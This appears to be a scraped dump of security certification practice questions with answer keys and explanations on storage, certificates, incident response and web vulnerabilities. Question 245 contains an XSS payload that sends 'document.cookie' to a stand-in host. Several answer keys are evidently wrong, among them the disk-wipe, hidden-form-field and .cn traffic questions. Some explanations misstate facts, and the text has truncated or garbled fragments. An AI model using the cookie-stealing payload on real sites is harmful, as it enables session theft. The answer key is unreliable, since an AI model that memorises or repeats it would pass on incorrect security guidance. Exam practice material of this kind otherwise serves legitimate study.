- B. The attack type does not meet the organization's threat model.
- C. Web-based applications are on isolated network segments.
- D. Corporate policy states that NIPS signatures must be updated every hou

Answer: A

NEW QUESTION 159

A systems administrator has installed a disk wiping utility on all computers across the organization and configured it to perform a seven-pass wipe and an additional pass to overwrite the disk with zeros. The company has also instituted a policy that requires users to erase files containing sensitive information when they are no longer needed.

To ensure the process provides the intended results, an auditor reviews the following content from a randomly selected decommissioned hard disk:

```
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000qjkehd
```

Which of the following should be included in the auditor's report based in the above findings?

- A. The hard disk contains bad sectors
- B. The disk has been degaussed.
- C. The data represents part of the disk BIOS.
- D. Sensitive data might still be present on the hard drive

Answer: A

NEW QUESTION 162

The Chief Information Officer (CISO) is concerned that certain systems administrators will privileged access may be reading other user's emails. Review of a tool's output shows the administrators have used web mail to log into other users' inboxes. Which of the following tools would show this type of output?

- A. Log analysis tool
- B. Password cracker
- C. Command-line tool
- D. File integrity monitoring tool

Answer: A

NEW QUESTION 165

The director of sales asked the development team for some small changes to increase the usability of an application used by the sales team. Prior security reviews of the code showed no significant vulnerabilities, and since the changes were small, they were given a peer review and then pushed to the live environment. Subsequent vulnerability scans now show numerous flaws that were not present in the previous versions of the code. Which of the following is an SDLC best practice that should have been followed?

- A. Versioning
- B. Regression testing
- C. Continuous integration
- D. Integration testing

Answer: B

NEW QUESTION 169

A medical device company is implementing a new COTS antivirus solution in its manufacturing plant. All validated machines and instruments must be retested for interoperability with the new software. Which of the following would BEST ensure the software and instruments are working as designed?

- A. System design documentation
- B. User acceptance testing
- C. Peer review
- D. Static code analysis testing
- E. Change control documentation

Answer: A

NEW QUESTION 173

A company has gone through a round of phishing attacks. More than 200 users have had their workstation infected because they clicked on a link in an email. An incident analysis has determined an executable ran and compromised the administrator account on each workstation. Management is demanding the information security team prevent this from happening again. Which of the following would BEST prevent this from happening again?

- A. Antivirus
- B. Patch management
- C. Log monitoring
- D. Application whitelisting
- E. Awareness training

Answer: A

NEW QUESTION 177

An internal staff member logs into an ERP platform and clicks on a record. The browser URL changes to:
URL: <http://192.168.0.100/ERP/accountId=5&action=SELECT>
Which of the following is the MOST likely vulnerability in this ERP platform?

- A. Brute forcing of account credentials
- B. Plain-text credentials transmitted over the Internet
- C. Insecure direct object reference
- D. SQL injection of ERP back end

Answer:

C

NEW QUESTION 180

Providers at a healthcare system with many geographically dispersed clinics have been fined five times this year after an auditor received notice of the following SMS messages:

	Date	Subject	Message
1	5/12/2017	Change of room	Patient John Doe is now in room 201
2	5/12/2017	Prescription change	Ann Smith – add 5mg
3	5/13/2017	Appointment cancelled	John Doe cancelled
4	5/14/2017	Follow-up visit	Ann Smith scheduled a follow-up
5	5/20/2017	Emergency room	Ann Doe – patient #37125 critical
6	5/25/2017	Prescription overdose	John Smith – patient #25637 in room 37

Which of the following represents the BEST solution for preventing future files?

- A. Implement a secure text-messaging application for mobile devices and workstations.
- B. Write a policy requiring this information to be given over the phone only.
- C. Provide a courier service to deliver sealed documents containing public health informatics.
- D. Implement FTP services between clinics to transmit text documents with the information.
- E. Implement a system that will tokenize patient number

Answer: A

NEW QUESTION 184

An information security manager is concerned that connectivity used to configure and troubleshoot critical network devices could be attacked. The manager has tasked a network security engineer with meeting the following requirements:

Encrypt all traffic between the network engineer and critical devices. Segregate the different networking planes as much as possible.

Do not let access ports impact configuration tasks.

Which of the following would be the BEST recommendation for the network security engineer to present?

- A. Deploy control plane protections.
- B. Use SSH over out-of-band management.
- C. Force only TACACS to be allowed.
- D. Require the use of certificates for AAA.

Answer: B

NEW QUESTION 187

A penetration tester noticed special characters in a database table. The penetration tester configured the browser to use an HTTP interceptor to verify that the front-end user registration web form accepts invalid input in the user's age field. The developer was notified and asked to fix the issue. Which of the following is the MOST secure solution for the developer to implement?

- A. IF \$AGE == "!@#%^&*()_+<>?":{}[]" THEN ERROR
- B. IF \$AGE == [1234567890] {1,3} THEN CONTINUE
- C. IF \$AGE != "a-zA-Z!@#%^&*()_+<>?":{}[]" THEN CONTINUE
- D. IF \$AGE == [1-0] {0,2} THEN CONTINUE

Answer: B

NEW QUESTION 188

A managed service provider is designing a log aggregation service for customers who no longer want to manage an internal SIEM infrastructure. The provider expects that customers will send all types of logs to them, and that log files could contain very sensitive entries. Customers have indicated they want on-premises and cloud-based infrastructure logs to be stored in this new service. An engineer, who is designing the new service, is deciding how to segment customers. Which of the following is the BEST statement for the engineer to take into consideration?

- A. Single-tenancy is often more expensive and has less efficient resource utilization
- B. Multi-tenancy may increase the risk of cross-customer exposure in the event of service vulnerabilities.
- C. The managed service provider should outsource security of the platform to an existing cloud company
- D. This will allow the new log service to be launched faster and with well-tested security controls.
- E. Due to the likelihood of large log volumes, the service provider should use a multi-tenancy model for the data storage tier, enable data deduplication for storage cost efficiencies, and encrypt data at rest.
- F. The most secure design approach would be to give customers on-premises appliances, install agents on endpoints, and then remotely manage the service via a VPN.

Answer: A

NEW QUESTION 193

At a meeting, the systems administrator states the security controls a company wishes to implement seem excessive, since all of the information on the company's web servers can be obtained publicly and is not proprietary in any way. The next day the company's website is defaced as part of an SQL injection attack, and the company receives press inquiries about the message the attackers displayed on the website. Which of the following is the FIRST action the company should take?

- A. Refer to and follow procedures from the company's incident response plan.
- B. Call a press conference to explain that the company has been hacked.
- C. Establish chain of custody for all systems to which the systems administrator has access.
- D. Conduct a detailed forensic analysis of the compromised system.
- E. Inform the communications and marketing department of the attack detail

Answer: A

NEW QUESTION 197

Given the following code snippet:

```
<FORM ACTION="http://192.168.51.10/cgi-bin/order.pl" method="post">

<input type=hidden name="price" value="199.99">

<input type=hidden name="prd_id" value="X190">

QUANTITY: <input type=text name="quant" size=3 maxlength=3 value=1>

</FORM>
```

Of which of the following is this snippet an example?

- A. Data execution prevention
- B. Buffer overflow
- C. Failure to use standard libraries
- D. Improper file usage
- E. Input validation

Answer: D

NEW QUESTION 198

A company has created a policy to allow employees to use their personally owned devices. The Chief Information Officer (CISO) is getting reports of company data appearing on unapproved forums and an increase in theft of personal electronic devices. Which of the following security controls would BEST reduce the risk of exposure?

- A. Disk encryption on the local drive
- B. Group policy to enforce failed login lockout
- C. Multifactor authentication
- D. Implementation of email digital signatures

Answer: A

NEW QUESTION 202

After a large organization has completed the acquisition of a smaller company, the smaller company must implement new host-based security controls to connect its employees' devices to the network. Given that the network requires 802.1X EAP-PEAP to identify and authenticate devices, which of the following should the security administrator do to integrate the new employees' devices into the network securely?

- A. Distribute a NAC client and use the client to push the company's private key to all the new devices.
- B. Distribute the device connection policy and a unique public/private key pair to each new employee's device.
- C. Install a self-signed SSL certificate on the company's RADIUS server and distribute the certificate's public key to all new client devices.
- D. Install an 802.1X supplicant on all new devices and let each device generate a self-signed certificate to use for network access.

Answer: D

NEW QUESTION 204

A forensic analyst suspects that a buffer overflow exists in a kernel module. The analyst executes the following command:

```
dd if=/dev/ram of=/tmp/mem/dmp
```

The analyst then reviews the associated output:

```
^34^#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/bin/bash^21^03#45
```

However, the analyst is unable to find any evidence of the running shell. Which of the following of the MOST likely reason the analyst cannot find a process ID for the shell?

- A. The NX bit is enabled
- B. The system uses ASLR
- C. The shell is obfuscated
- D. The code uses dynamic libraries

Answer: B

NEW QUESTION 207

During the decommissioning phase of a hardware project, a security administrator is tasked with ensuring no sensitive data is released inadvertently. All paper records are scheduled to be shredded in a crosscut shredded, and the waste will be burned. The system drives and removable media have been removed prior to e-cycling the hardware.

Which of the following would ensure no data is recovered from the system drives once they are disposed of?

- A. Overwriting all HDD blocks with an alternating series of data.
- B. Physically disabling the HDDs by removing the drive head.
- C. Demagnetizing the hard drive using a degausser.
- D. Deleting the UEFI boot loaders from each HD

Answer: C

NEW QUESTION 211

Which of the following is a feature of virtualization that can potentially create a single point of failure?

- A. Server consolidation
- B. Load balancing hypervisors
- C. Faster server provisioning
- D. Running multiple OS instances

Answer: A

NEW QUESTION 213

Which of the following system would be at the GREATEST risk of compromise if found to have an open vulnerability associated with perfect ... secrecy?

- A. Endpoints
- B. VPN concentrators
- C. Virtual hosts
- D. SIEM
- E. Layer 2 switches

Answer: B

NEW QUESTION 218

A security analyst is reviewing logs and discovers that a company-owned computer issued to an employee is generating many alerts and analyst continues to review the log events and discovers that a non-company-owned device from a different, unknown IP address is generating the same events. The analyst informs the manager of these findings, and the manager explains that these activities are already known and . . . ongoing simulation. Given this scenario, which of the following roles are the analyst, the employee, and the manager fillings?

- A. The analyst is red team The employee is blue team The manager is white team
- B. The analyst is white team The employee is red team The manager is blue team
- C. The analyst is red team The employee is white team The manager is blue team
- D. The analyst is blue team The employee is red team The manager is white team

Answer: D

NEW QUESTION 223

The security configuration management policy states that all patches must undergo testing procedures before being moved into production. The security analyst notices a single web application server has been downloading and applying patches during non-business hours without testing. There are no apparent adverse reactions, server functionality does not seem to be affected, and no malware was found after a scan. Which of the following actions should the analyst take?

- A. Reschedule the automated patching to occur during business hours.
- B. Monitor the web application service for abnormal bandwidth consumption.
- C. Create an incident ticket for anomalous activity.
- D. Monitor the web application for service interruptions caused from the patching

Answer: C

NEW QUESTION 226

An analyst has noticed unusual activities in the SIEM to a .cn domain name. Which of the following should the analyst use to identify the content of the traffic?

- A. Log review
- B. Service discovery
- C. Packet capture
- D. DNS harvesting

Answer: D

NEW QUESTION 230

The Chief Executive Officer (CEO) instructed the new Chief Information Security Officer (CISO) to provide a list of enhancements to the company's cybersecurity operation. As a result, the CISO has identified the need to align security operations with industry best practices. Which of the following industry references is appropriate to accomplish this?

- A. OSSM
- B. NIST
- C. PCI
- D. OWASP

Answer: B

NEW QUESTION 232

Company ABC's SAN is nearing capacity, and will cause costly downtimes if servers run out disk space. Which of the following is a more cost effective alternative to buying a new SAN?

- A. Enable multipath to increase availability
- B. Enable deduplication on the storage pools
- C. Implement snapshots to reduce virtual disk size
- D. Implement replication to offsite datacenter

Answer: B

Explanation:

Storage-based data deduplication reduces the amount of storage needed for a given set of files. It is most effective in applications where many copies of very similar or even identical data are stored on a single disk.

It is common for multiple copies of files to exist on a SAN. By eliminating (deduplicating) repeated copies of the files, we can reduce the disk space used on the existing SAN. This solution is a cost effective alternative to buying a new SAN.

Incorrect Answers:

A: Multipathing enables multiple links to transfer the data to and from the SAN. This improves performance and link redundancy. However, it has no effect on the amount of data on the SAN. C: Snapshots would not reduce the amount of data stored on the SAN.

D: Replicating the data on the SAN to an offsite datacenter will not reduce the amount of data stored on the SAN. It would just create another copy of the data on the SAN in the offsite datacenter. References:

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NEW QUESTION 236

After being notified of an issue with the online shopping cart, where customers are able to arbitrarily change the price of listed items, a programmer analyzes the following piece of code used by a web based shopping cart.

```
SELECT ITEM FROM CART WHERE ITEM=ADDSLASHES($USERINPUT);
```

The programmer found that every time a user adds an item to the cart, a temporary file is created on the web server /tmp directory. The temporary file has a name which is generated by concatenating the content of the \$USERINPUT variable and a timestamp in the form of MM-DD-YYYY, (e.g. smartphone-12-25-2013.tmp) containing the price of the item being purchased. Which of the following is MOST likely being exploited to manipulate the price of a shopping cart's items?

- A. Input validation
- B. SQL injection
- C. TOCTOU
- D. Session hijacking

Answer: C

Explanation:

In this question, TOCTOU is being exploited to allow the user to modify the temp file that contains the price of the item.

In software development, time of check to time of use (TOCTOU) is a class of software bug caused by changes in a system between the checking of a condition (such as a security credential) and the use of the results of that check. This is one example of a race condition.

A simple example is as follows: Consider a Web application that allows a user to edit pages, and also allows administrators to lock pages to prevent editing. A user requests to edit a page, getting a form which can be used to alter its content. Before the user submits the form, an administrator locks the page, which should prevent editing. However, since editing has already begun, when the user submits the form, those edits (which have already been made) are accepted. When the user began editing, the appropriate authorization was checked, and the user was indeed allowed to edit. However, the authorization was used later, at a time when edits should no longer have been allowed. TOCTOU race conditions are most common in Unix between operations on the file system, but can occur in other contexts, including local sockets and improper use of database transactions.

Incorrect Answers:

A: Input validation is used to ensure that the correct data is entered into a field. For example, input validation would prevent letters typed into a field that expects number from being accepted. The exploit in this question is not an example of input validation.

B: SQL injection is a type of security exploit in which the attacker adds Structured Query Language (SQL) code to a Web form input box to gain access to resources or make changes to data.

A. The exploit

in this question is not an example of a SQL injection attack.

D: Session hijacking, also known as TCP session hijacking, is a method of taking over a Web user session by obtaining the session ID and masquerading as the authorized user. The exploit in this question is not an example of session hijacking.

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NEW QUESTION 238

Joe, a hacker, has discovered he can specifically craft a webpage that when viewed in a browser crashes the browser and then allows him to gain remote code execution in the context of the victim's privilege level. The browser crashes due to an exception error when a heap memory that is unused is accessed. Which of the following BEST describes the application issue?

- A. Integer overflow
- B. Click-jacking
- C. Race condition
- D. SQL injection
- E. Use after free
- F. Input validation

Answer: E

Explanation:

Use-After-Free vulnerabilities are a type of memory corruption flaw that can be leveraged by hackers to execute arbitrary code.

Use After Free specifically refers to the attempt to access memory after it has been freed, which can cause a program to crash or, in the case of a Use-After-Free

flaw, can potentially result in the execution of arbitrary code or even enable full remote code execution capabilities.

According to the Use After Free definition on the Common Weakness Enumeration (CWE) website, a Use After Free scenario can occur when "the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process."

Incorrect Answers:

A: Integer overflow is the result of an attempt by a CPU to arithmetically generate a number larger than what can fit in the devoted memory storage space.

Arithmetic operations always have the potential of returning unexpected values, which may cause an error that forces the whole program to shut down. This is not what is described in this question.

B: Clickjacking is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information

or taking control of their computer while clicking on seemingly innocuous web pages. This is not what is described in this question.

C: A race condition is an undesirable situation that occurs when a device or system attempts to perform two or more operations at the same time, but because of the nature of the device or system, the operations must be done in the proper sequence to be done correctly. This is not what is described in this question.

D: SQL injection is a type of security exploit in which the attacker adds Structured Query Language (SQL) code to a Web form input box to gain access to resources or make changes to dat

A. This is not

what is described in this question.

F: Input validation is used to ensure that the correct data is entered into a field. For example, input validation would prevent letters typed into a field that expects number from being accepted. This is not what is described in this question.

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NEW QUESTION 241

A developer is determining the best way to improve security within the code being developed. The developer is focusing on input fields where customers enter their credit card details. Which of the following techniques, if implemented in the code, would be the MOST effective in protecting the fields from malformed input?

A. Client side input validation

B. Stored procedure

C. Encrypting credit card details

D. Regular expression matching

Answer: D

Explanation:

Regular expression matching is a technique for reading and validating input, particularly in web software. This question is asking about securing input fields where customers enter their credit card details. In this case, the expected input into the credit card number field would be a sequence of numbers of a certain length. We can use regular expression matching to verify that the input is indeed a sequence of numbers. Anything that is not a sequence of numbers could be malicious code. Incorrect Answers:

A: Client side input validation could be used to validate the input into input fields. Client side input validation is where the validation is performed by the web browser. However this question is asking for the BEST answer. A user with malicious intent could bypass the client side input validation whereas it would be much more difficult to bypass regular expression matching implemented in the application code.

B: A stored procedure is SQL code saved as a script. A SQL user can run the stored procedure rather than typing all the SQL code contained in the stored procedure. A stored procedure is not used for validating input.

C: Any stored credit card details should be encrypted for security purposes. Also a secure method of transmission such as SSL or TLS should be used to encrypt the data when transmitting the credit card number over a network such as the Internet. However, encrypting credit card details is not a way of securing the input fields in an application.

NEW QUESTION 245

A security administrator notices the following line in a server's security log:

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<input name='credentials' type='TEXT' value='' + request.getParameter('><script>document.location='http://badsite.com/?q=document.cookie</scri pt>') + '';
```

The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server. Which of the following should the security administrator implement to prevent this particular attack?

A. WAF

B. Input validation

C. SIEM

D. Sandboxing

E. DAM

Answer: A

Explanation:

The attack in this question is an XSS (Cross Site Scripting) attack. We can prevent this attack by using a Web Application Firewall.

A WAF (Web Application Firewall) protects a Web application by controlling its input and output and the access to and from the application. Running as an appliance, server plug-in or cloud-based

service, a WAF inspects every HTML, HTTPS, SOAP and XML-RPC data packet. Through customizable inspection, it is able to prevent attacks such as XSS, SQL injection, session hijacking and buffer overflows, which network firewalls and intrusion detection systems are often not capable of doing. A WAF is also able to detect and prevent new unknown attacks by watching for unfamiliar patterns in the traffic data.

A WAF can be either network-based or host-based and is typically deployed through a proxy and placed in front of one or more Web applications. In real time or near-real time, it monitors traffic before it reaches the Web application, analyzing all requests using a rule base to filter out potentially harmful traffic or traffic patterns. Web application firewalls are a common security control used by enterprises to protect Web applications against zero-day exploits, impersonation and known vulnerabilities and attackers.

Incorrect Answers:

B: Input validation is used to ensure that the correct data is entered into a field. For example, input validation would prevent letters typed into a field that expects number from being accepted. Input validation is not an effective defense against an XSS attack.

C: Security information and event management (SIEM) is an approach to security management used to provide a view of an organization's IT security. It is an

information gathering process; it does not in itself provide security.

D: Sandboxing is a process of isolating an application from other applications. It is often used when developing and testing new application. It is not used to defend against an XSS attack.

E: DAM (digital asset management) is a system that creates a centralized repository for digital files that allows the content to be archived, searched and retrieved. It is not used to defend against an XSS attack.

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NEW QUESTION 249

An organization is concerned with potential data loss in the event of a disaster, and created a backup datacenter as a mitigation strategy. The current storage method is a single NAS used by all servers in both datacenters. Which of the following options increases data availability in the event of a datacenter failure?

- A. Replicate NAS changes to the tape backups at the other datacenter.
- B. Ensure each server has two HBAs connected through two routes to the NAS.
- C. Establish deduplication across diverse storage paths.
- D. Establish a SAN that replicates between datacenters.

Answer: D

Explanation:

A SAN is a Storage Area Network. It is an alternative to NAS storage. SAN replication is a technology that replicates the data on one SAN to another SAN; in this case, it would replicate the data to a SAN in the backup datacenter. In the event of a disaster, the SAN in the backup datacenter would contain all the data on the original SAN.

Array-based replication is an approach to data backup in which compatible storage arrays use built-in software to automatically copy data from one storage array to another. Array-based replication software runs on one or more storage controllers resident in disk storage systems, synchronously or asynchronously replicating data between similar storage array models at the logical unit number (LUN) or volume block level. The term can refer to the creation of local copies of data within the same array as the source data, as well as the creation of remote copies in an array situated off site. Incorrect Answers:

A: Replicating NAS changes to the tape backups at the other datacenter would result in a copy of the NAS data in the backup datacenter. However, the data will be stored on tape. In the event of a disaster, you would need another NAS to restore the data to.

B: Ensuring that each server has two routes to the NAS is not a viable solution. The NAS is still a single point of failure. In the event of a disaster, you could lose the NAS and all the data on it.

C: Deduplication is the process of eliminating multiple copies of the same data to save storage space. The NAS is still a single point of failure. In the event of a disaster, you could lose the NAS and all the data on it.

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NEW QUESTION 251

An application present on the majority of an organization's 1,000 systems is vulnerable to a buffer overflow attack. Which of the following is the MOST comprehensive way to resolve the issue?

- A. Deploy custom HIPS signatures to detect and block the attacks.
- B. Validate and deploy the appropriate patch.
- C. Run the application in terminal services to reduce the threat landscape.
- D. Deploy custom NIPS signatures to detect and block the attack

Answer: B

Explanation:

If an application has a known issue (such as susceptibility to buffer overflow attacks) and a patch is released to resolve the specific issue, then the best solution is always to deploy the patch.

A buffer overflow occurs when a program or process tries to store more data in a buffer (temporary data storage area) than it was intended to hold. Since buffers are created to contain a finite amount of data, the extra information - which has to go somewhere - can overflow into adjacent buffers, corrupting or overwriting the valid data held in them. Although it may occur accidentally through programming error, buffer overflow is an increasingly common type of security attack on data integrity. In buffer overflow attacks, the extra data may contain codes designed to trigger specific actions, in effect sending new instructions to the attacked computer that could, for example, damage the user's files, change data, or disclose confidential information. Buffer overflow attacks are said to have arisen because the C programming language supplied the framework, and poor programming practices supplied the vulnerability.

Incorrect Answers:

A: This question is asking for the MOST comprehensive way to resolve the issue. A HIPS (Host Intrusion Prevention System) with custom signatures may offer some protection against an application that is vulnerable to buffer overflow attacks. However, an application that is NOT vulnerable to buffer overflow attacks (a patched application) is a better solution.

C: This question is asking for the MOST comprehensive way to resolve the issue. Running the application in terminal services may reduce the threat landscape. However, it doesn't resolve the issue. Patching the application to eliminate the threat is a better solution.

D: This question is asking for the MOST comprehensive way to resolve the issue. A NIPS (Network Intrusion Prevention System) with custom signatures may offer some protection against an application that is vulnerable to buffer overflow attacks. However, an application that is NOT vulnerable to buffer overflow attacks (a patched application) is a better solution.

References: <http://searchsecurity.techtarget.com/definition/buffer-overflow>

NEW QUESTION 254

A government agency considers confidentiality to be of utmost importance and availability issues to be of least importance. Knowing this, which of the following correctly orders various vulnerabilities in the order of MOST important to LEAST important?

- A. Insecure direct object references, CSRF, Smurf
- B. Privilege escalation, Application DoS, Buffer overflow
- C. SQL injection, Resource exhaustion, Privilege escalation
- D. CSRF, Fault injection, Memory leaks

Answer: A

Explanation:

Insecure direct object references are used to access data

A. CSRF attacks the functions of a web site which could access data

A. A Smurf attack is used to take down a system.

A direct object reference is likely to occur when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key without any validation mechanism which will allow attackers to manipulate these references to access unauthorized data.

Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user's Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In effect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.

A smurf attack is a type of network security breach in which a network connected to the Internet is swamped with replies to ICMP echo (PING) requests. A smurf attacker sends PING requests to an Internet broadcast address. These are special addresses that broadcast all received messages to the hosts connected to the subnet. Each broadcast address can support up to 255 hosts, so a single PING request can be multiplied 255 times. The return address of the request itself is spoofed to be the address of the attacker's victim. All the hosts receiving the PING request reply to this victim's address instead of the real sender's address. A single attacker sending hundreds or thousands of these PING messages per second can fill the victim's T-1 (or even T-3) line with ping replies, bring the entire Internet service to its knees.

Smurfing falls under the general category of Denial of Service attacks -- security attacks that don't try to steal information, but instead attempt to disable a computer or network.

Incorrect Answers:

B: Application DoS is an attack designed to affect the availability of an application. Buffer overflow is used to obtain information. Therefore, the order of importance in this answer is incorrect.

C: Resource exhaustion is an attack designed to affect the availability of a system. Privilege escalation is used to obtain information. Therefore, the order of importance in this answer is incorrect.

D: The options in the other answers (Insecure direct object references, privilege escalation, SQL injection) are more of a threat to data confidentiality than the options in this answer. References:

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NEW QUESTION 258

At 9:00 am each morning, all of the virtual desktops in a VDI implementation become extremely slow and/or unresponsive. The outage lasts for around 10 minutes, after which everything runs properly again. The administrator has traced the problem to a lab of thin clients that are all booted at 9:00 am each morning. Which of the following is the MOST likely cause of the problem and the BEST solution? (Select TWO).

- A. Add guests with more memory to increase capacity of the infrastructure.
- B. A backup is running on the thin clients at 9am every morning.
- C. Install more memory in the thin clients to handle the increased load while booting.
- D. Booting all the lab desktops at the same time is creating excessive I/O.
- E. Install 10-Gb uplinks between the hosts and the lab to increase network capacity.
- F. Install faster SSD drives in the storage system used in the infrastructure.
- G. The lab desktops are saturating the network while booting.
- H. The lab desktops are using more memory than is available to the host system

Answer: DF

Explanation:

The problem lasts for 10 minutes at 9am every day and has been traced to the lab desktops. This question is asking for the MOST likely cause of the problem. The most likely cause of the problem is that the lab desktops being started at the same time at the beginning of the day is causing excessive disk I/O as the operating systems are being read and loaded from disk storage.

The solution is to install faster SSD drives in the storage system that contains the desktop operating systems.

Incorrect Answers:

A: If a lack of memory was the cause of the problem, the problem would occur throughout the day; not just for the 10 minutes it takes to boot the lab desktops. Therefore adding guests with more memory will not solve the problem so this answer is incorrect.

B: This question is asking for the MOST likely cause of the problem. A backup running on the thin clients at 9am every morning as soon as the lab desktops start up is an unlikely cause of the problem. It is much more likely that the lab desktops starting up at the same time is causing high disk I/O.

C: The lab desktops starting up would not cause memory issues on the thin clients so adding memory will not solve the issue.

E: The lab desktops starting up would not cause network bandwidth issues so increasing the bandwidth will not solve the issue.

G: The lab desktops starting up would not saturate the network.

H: If the lab desktops are using more memory than is available to the host systems, the problem would occur throughout the day; not just for the 10 minutes it takes to boot the lab desktops.

NEW QUESTION 260

Which of the following describes a risk and mitigation associated with cloud data storage?

- A. Risk: Shared hardware caused data leakage Mitigation: Strong encryption at rest
- B. Risk: Offsite replication Mitigation: Multi-site backups
- C. Risk: Data loss from de-duplication Mitigation: Dynamic host bus addressing
- D. Risk: Combined data archiving Mitigation: Two-factor administrator authentication

Answer: A

Explanation:

With cloud data storage, the storage provider will have large enterprise SANs providing large pools of storage capacity. Portions of the storage pools are assigned to customers. The risk is that multiple customers are storing their data on the same physical hardware storage devices. This presents a risk (usually a very small risk, but a risk all the same) of other customers using the same cloud storage hardware being able to view your data.

The mitigation of the risk is to encrypt your data stored on the SAN. Then the data would be unreadable even if another customer was able to access it.

Incorrect Answers:

- B: Offsite replication is used for disaster recovery purposes. It is not considered to be a risk as long as the data is secure in the other site. Multi-site backups are not a risk mitigation.
- C: Data loss from de-duplication is not considered to be a risk. De-duplication removes duplicate copies of data to reduce the storage space required for the data.
- A. Dynamic host bus addressing is not a risk mitigation.
- D: Combined data archiving is not considered to be a risk. The archived data would be less accessible to other customers than the live data on the shared storage.

NEW QUESTION 263

An administrator is tasked with securing several website domains on a web server. The administrator elects to secure www.example.com, mail.example.org, archive.example.com, and www.example.org with the same certificate. Which of the following would allow the administrator to secure those domains with a single issued certificate?

- A. Intermediate Root Certificate
- B. Wildcard Certificate
- C. EV x509 Certificate
- D. Subject Alternative Names Certificate

Answer: D

Explanation:

Subject Alternative Names let you protect multiple host names with a single SSL certificate. Subject Alternative Names allow you to specify a list of host names to be protected by a single SSL certificate. When you order the certificate, you will specify one fully qualified domain name in the common name field. You can then add other names in the Subject Alternative Names field.

Incorrect Answers:

- A: An Intermediate Root Certificate is used to trust an intermediate CA (Certification Authority). The Intermediate root CA can issue certificates but the Intermediate Root Certificate itself cannot be used to secure multiple domains on a web server.
- B: A wildcard certificate can be used to secure multiple domain names within the same higher level domain. For example: a wildcard certificate `*.example.com` can secure an unlimited number of domains that end in `example.com` such as `domain1.example.com`, `domain2.example.com` etc. A wildcard certificate cannot be used to secure the domains listed in this question.
- C: The certificate used to secure the domains will be an x509 certificate but it will not be a standard EV certificate. EV stands for extended validation. With a non-EV certificate, the issuing CA just ensures that you own the domains that you want to secure. With an EV certificate, further checks are carried out such as checks on your company. EV certificates take longer to issue due to the extra checks but the EV certificate provides extra guarantees to your customers that you are who you say you are. However, a standard EV certificate only secures a single domain.

NEW QUESTION 266

Which of the following technologies prevents an unauthorized HBA from viewing iSCSI target information?

- A. Deduplication
- B. Data snapshots
- C. LUN masking
- D. Storage multipaths

Answer: C

Explanation:

A logical unit number (LUN) is a unique identifier that designates individual hard disk devices or grouped devices for address by a protocol associated with a SCSI, iSCSI, Fibre Channel (FC) or similar interface. LUNs are central to the management of block storage arrays shared over a storage area network (SAN). LUN masking subdivides access to a given port. Then, even if several LUNs are accessed through the same port, the server masks can be set to limit each server's access to the appropriate LUNs. LUN masking is typically conducted at the host bus adapter (HBA) or switch level.

Incorrect Answers:

- A: Deduplication is the process of eliminating multiple copies of the same data to save storage space. It does not prevent an unauthorized HBA from viewing iSCSI target information.
- B: Data snapshots are point in time copies of data often used by data backup applications. They do not prevent an unauthorized HBA from viewing iSCSI target information.
- D: Storage multipaths are when you have multiple connections to a storage device. This provides path redundancy in the event of a path failure and can also (in active/active configurations) provide extra capacity by aggregating the bandwidth of the multiple storage paths. However, they do not prevent an unauthorized HBA from viewing iSCSI target information.

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NEW QUESTION 270

A vulnerability scanner report shows that a client-server host monitoring solution operating in the credit card corporate environment is managing SSL sessions with a weak algorithm which does not meet corporate policy. Which of the following are true statements? (Select TWO).

- A. The X509 V3 certificate was issued by a non trusted public CA.
- B. The client-server handshake could not negotiate strong ciphers.
- C. The client-server handshake is configured with a wrong priority.
- D. The client-server handshake is based on TLS authentication.
- E. The X509 V3 certificate is expired.
- F. The client-server implements client-server mutual authentication with different certificate

Answer: BC

Explanation:

The client-server handshake could not negotiate strong ciphers. This means that the system is not configured to support the strong ciphers provided by later versions of the SSL protocol. For example, if the system is configured to support only SSL version 1.1, then only a weak cipher will be supported. The client-server handshake is configured with a wrong priority. The client sends a list of SSL versions it supports and priority should be given to the highest version it supports. For example, if the client supports SSL versions 1.1, 2 and 3, then the server should use version 3. If the priority is not configured correctly (if it uses the lowest version) then version 1.1 with its weak algorithm will be used.

Incorrect Answers:

A: If the X509 V3 certificate was issued by a non-trusted public CA, then the client would receive an error saying the certificate is not trusted. However, an X509 V3 certificate would not cause a weak algorithm.
D: TLS provides the strongest algorithm; even stronger than SSL version 3.
E: If the X509 V3 certificate had expired, then the client would receive an error saying the certificate is not trusted due to being expired. However, an X509 V3 certificate would not cause a weak algorithm.
F: SSL does not mutual authentication with different certificates. References:
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NEW QUESTION 273

Which of the following represents important technical controls for securing a SAN storage infrastructure? (Select TWO).

- A. Synchronous copy of data
- B. RAID configuration
- C. Data de-duplication
- D. Storage pool space allocation
- E. Port scanning
- F. LUN masking/mapping
- G. Port mapping

Answer: FG

Explanation:

A logical unit number (LUN) is a unique identifier that designates individual hard disk devices or grouped devices for address by a protocol associated with a SCSI, iSCSI, Fibre Channel (FC) or similar interface. LUNs are central to the management of block storage arrays shared over a storage area network (SAN).

LUN masking subdivides access to a given port. Then, even if several LUNs are accessed through the same port, the server masks can be set to limit each server's access to the appropriate LUNs. LUN masking is typically conducted at the host bus adapter (HBA) or switch level.

Port mapping is used in 'Zoning'. In storage networking, Fibre Channel zoning is the partitioning of a Fibre Channel fabric into smaller subsets to restrict interference, add security, and to simplify management. While a SAN makes available several devices and/or ports to a single device, each system connected to the SAN should only be allowed access to a controlled subset of these devices/ports.

Zoning can be applied to either the switch port a device is connected to OR the WWN World Wide Name on the host being connected. As port based zoning restricts traffic flow based on the specific switch port a device is connected to, if the device is moved, it will lose access. Furthermore, if a different device is connected to the port in question, it will gain access to any resources the previous host had access to.

Incorrect Answers:

A: Synchronous copy of data is used to copy data. It is not a technical control for securing a SAN storage infrastructure.

